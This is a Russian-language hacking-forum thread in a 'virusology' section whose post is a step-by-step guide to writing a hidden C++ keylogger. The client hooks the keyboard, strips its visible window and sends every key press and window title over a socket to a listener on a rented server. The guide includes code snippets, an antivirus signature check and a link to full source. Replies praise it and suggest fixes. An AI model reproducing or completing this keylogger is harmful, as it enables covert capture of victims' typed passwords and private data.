Загрузка...

Пишем карманный кейлоггер на C++

Тема в разделе Вирусология создана пользователем Floda 7 май 2018. 1994 просмотра

  1. Floda
    Floda Автор темы 7 май 2018 750 10 янв 2018
    В этой статье я хочу показать, насколько просто написать самому кейлоггер с базовым функционалом. Базу я позаимствовал отсюда - https://simple-keylogger.github.io, пофиксил баги и доработал под взаимодействие с WinSocket.

    Материалы

    • Visual Studio 2015 Community Update 4
    • Visual C++ 2015
    Структура приложения

    Для начала необходимо определить, как вообще будет работать кейлоггер. Будь то отсылка ***** на FTP/Почту, запись нажатий в сокет, отправка файла на гейт, запись ***** в бд.

    Я решил остановится на сокетах. Почему? Это удобно, просто и юзабельно.

    Исходя из выбора, нам нужно будет сделать 2 приложения:

    Сервер

    • Консольное приложение, которое будет принимать данные от клиента и выдавать в консоли
    Клиент

    • Собственно, сам кейлоггер, который будет отсылать нажатия клавиш на сервер
    И начнем мы, пожалуй, с сервера.

    Сервер

    Создаем консольное C++ приложение в Visual Studio.

    Весь код есть в оф. примере MSDN - https://msdn.microsoft.com/en-us/library/ms737593(VS.85).aspx

    Нам лишь нужно заменить некоторые значения в нем...

    Сразу пропишем константные переменные: величину буффера и порт сервера, на который будут приходить ****

    Код:

    #define DEFAULT_BUFLEN 1024 //Буффер
    #define DEFAULT_PORT "1337" //Порт



    Вместо единоразового do/while ставим бесконечный цикл, в котором будем принимать данные от клиента, выводить их в консоль, закрывать соединение и по новой:

    Код:

    do {
    ClientSocket = accept(ListenSocket, NULL, NULL); //Принимаем коннект
    iResult = recv(ClientSocket, recvbuf, recvbuflen, 0);//Считываем лог
    if (iResult > 0) //Если лог не пустой
    printf("%s", recvbuf); //Выводим
    closesocket(ClientSocket);//Закрываем соединение
    memset(recvbuf, 0, sizeof recvbuf);//Освобождаем память
    }
    while (true);



    Компилируем в Release, закидываем на дедик, открываем нужный нам порт и запускаем

    Клиент

    Создаем приложение Win32 в Visual Studio.

    Как я уже и говорил выше, хук клавиатуры и обработчик нажатий я взял с https://github.com/GiacomoLaw/Keylogger/blob/master/windows/klog_main.cpp

    Чтоб прикрутить отправку нажатия на сокет я обратился к https://msdn.microsoft.com/en-us/library/ms737591(VS.85).aspx

    Так же, сразу определяем константные переменные: длину буффера, айпи дедика/компа и порт

    Код:

    #define DEFAULT_BUFLEN 20000
    #define SERVER_IP "127.0.0.1"
    #define SERVER_PORT "1337"



    Некоторые переменные пришлось вытащить из их методов и сделать глобальными, чтобы код начал работать корректно:

    Код:

    WSADATA wsaData;
    SOCKET ConnectSocket = INVALID_SOCKET;
    HHOOK _hook;KBDLLHOOKSTRUCT kbdStruct;
    char lastwindow[256];
    int Save(int key_stroke);// Убрал второй аргумент



    Создаем метод отправки данных на сервер по примеру, который был в начале абзаца. Далее, везде заменяем порт, айпи и передаваемую инфу на аргументы функции:

    Код:

    void sendData(char *ip, char * port, char*data)



    В методе Save делаем следующее - убираем второй аргумент и меняем запись ***** в файл на отправку к серверу:

    Код:

    char data[DEFAULT_BUFLEN];
    sprintf(data, "\n\n[Window: %s - at %s]\n", window_title, s); sendData(SERVER_IP, SERVER_PORT, data);



    Далее, по такому же принципу, меняем отправку в нажатиях служебных клавиш. Отправку букв можно сделать таким образом:

    Код:

    char c[512];
    sprintf(c, "%c", key_stroke);
    sendData(SERVER_IP, SERVER_PORT, c);



    Вырезаем все что связано с видимостью окна из кода, и, готово.

    Итог

    При запуске кейлоггера, он повиснет в процессах и будет обрабатывать каждое нажатие на клавиатуре. Возможно, некоторые символы будут отображаться некорректно, например, слеши, но все это можно исправить самому (ведь если бы все было идеально, ко мне в личку стучал Иисус с просьбой проверить продажник приватного кейлоггера).

    Лог будет выглядеть так:

    Ссылки

    Сигнатурные ***** (не спрашивайте зачем просканил сервер, просто так):

    Кейлоггер, взятый за основу - https://simple-keylogger.github.io

    Сокет-сервер - https://msdn.microsoft.com/en-us/library/ms737593(VS.85).aspx

    Сокет-клиент - https://msdn.microsoft.com/en-us/library/ms737591(VS.85).aspx

    Готовые исходники проекта - https://github.com/ims0rry/Socket-keylogger
     
  2. Accord97
    Accord97 7 май 2018 172 13 янв 2018
    За гайд жирный +
    Пускай новореги просвещаются
     
  3. MRMORBIUS
    MRMORBIUS 7 май 2018 Куплю дедики 25$ 231 31 окт 2017
    viruscheckmate ссылки не рабочие, а так спасибо за мануал
     
  4. LenaTDDS
    LenaTDDS 9 май 2018 Заблокирован(а)
    Спизжено у сорика
     
  5. rscx
    rscx 9 май 2018 2137 17 фев 2018
    ты хоть сам понял что написал в теме?
     
  6. littukvay
    littukvay 9 май 2018 Творю хаос себе на пользу. 7 6 сен 2017
    Ну бля, вроде годно, но я уверен что большинство даже читать не станут, т.к достать кейлоггер - минутное дело. А так, автор молодец, конечно, если это не спизжено.
     
  7. swmf
    swmf 9 май 2018 101 8 дек 2017
    Ау, на дворе 2к17, где STL? Нахуй этот C стиль в С++ коде
     
  8. swmf
    swmf 9 май 2018 101 8 дек 2017
    Некоторые символы могут отображаться некоректно, т.к. ты юзаешь по дефолту анси кодировку
    Юникод наше все
     
Загрузка...
Top